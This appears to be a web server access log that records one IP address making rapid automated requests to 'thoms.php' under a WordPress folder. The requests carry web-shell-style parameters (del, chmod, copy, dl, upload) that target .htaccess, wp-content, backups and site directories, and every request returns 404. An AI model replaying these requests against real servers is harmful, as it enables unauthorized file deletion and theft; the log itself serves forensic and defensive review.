45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?dl=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?copy=biotaiwan.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?del=mah.php&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?chmod=ba-guo.com-20260912023525&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=besth2o.com.tw HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?chmod=bodbooks.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?chmod=bogroup.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?copy=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?copy=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?chmod=bft.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=bodbooks.com.tw HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?copy=.htaccess&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?del=error_log&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?chmod=thoms.php&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?copy=big-wife.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?del=bestzyx.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?del=wp-content&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?del=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?del=bioway88.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=bossini.com.tw HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?copy=betcity.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?copy=wp-content&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?chmod=ba-guo.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?copy=ba-guo.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?del=betcity.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=big-wife.com.tw HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?del=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?chmod=bestzyx.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=bestzyx.com.tw HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=bioway88.com.tw HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?del=bossini.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?copy=wordpress-6.6-20260912023539&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?chmod=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=wp-content-20260912023544 HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?del=bogroup.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?del=broadweb.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?del=cgi-bin&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?del=wordpress-6.6-20260912023539&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=&view=thoms.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=&settings=1 HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?del=beauty-dental.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=betcity.com.tw HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=bfl.com.tw HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?del=booking-wise2.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?chmod=cgi-bin&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?chmod=wordpress-6.6-20260912023539&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?chmod=.htaccess&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?copy=thoms.php&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus-20260912023538.zip HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus.zip HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=ba-guo.com.tw HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?del=.htaccess&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?copy=ba-guo.com-20260912023525&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?copy=bft.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?chmod=big-wife.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:28 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=beauty-dental.com.tw HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?del=besth2o.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=booking-wise2.com.tw HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?chmod=wp-content-20260912023544&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?copy=error_log&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?chmod=beauty-dental.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?copy=cgi-bin&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?del=bfl.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?chmod=booking-wise2.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?chmod=bioway88.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?del=bodbooks.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?copy=booking-wise2.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?chmod=bossini.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?chmod=upgrade&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?copy=upgrade&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?dl=thoms.php&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=cgi-bin HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=upgrade HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=&upload= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?copy=beauty-dental.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?del=bestjudy.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?copy=bestzyx.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=biotaiwan.com.tw HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?copy=bossini.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=bestjudy.com.tw HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?chmod=bestjudy.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?copy=bestjudy.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?copy=bfl.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=wp-content HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?del=bft.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?copy=bodbooks.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
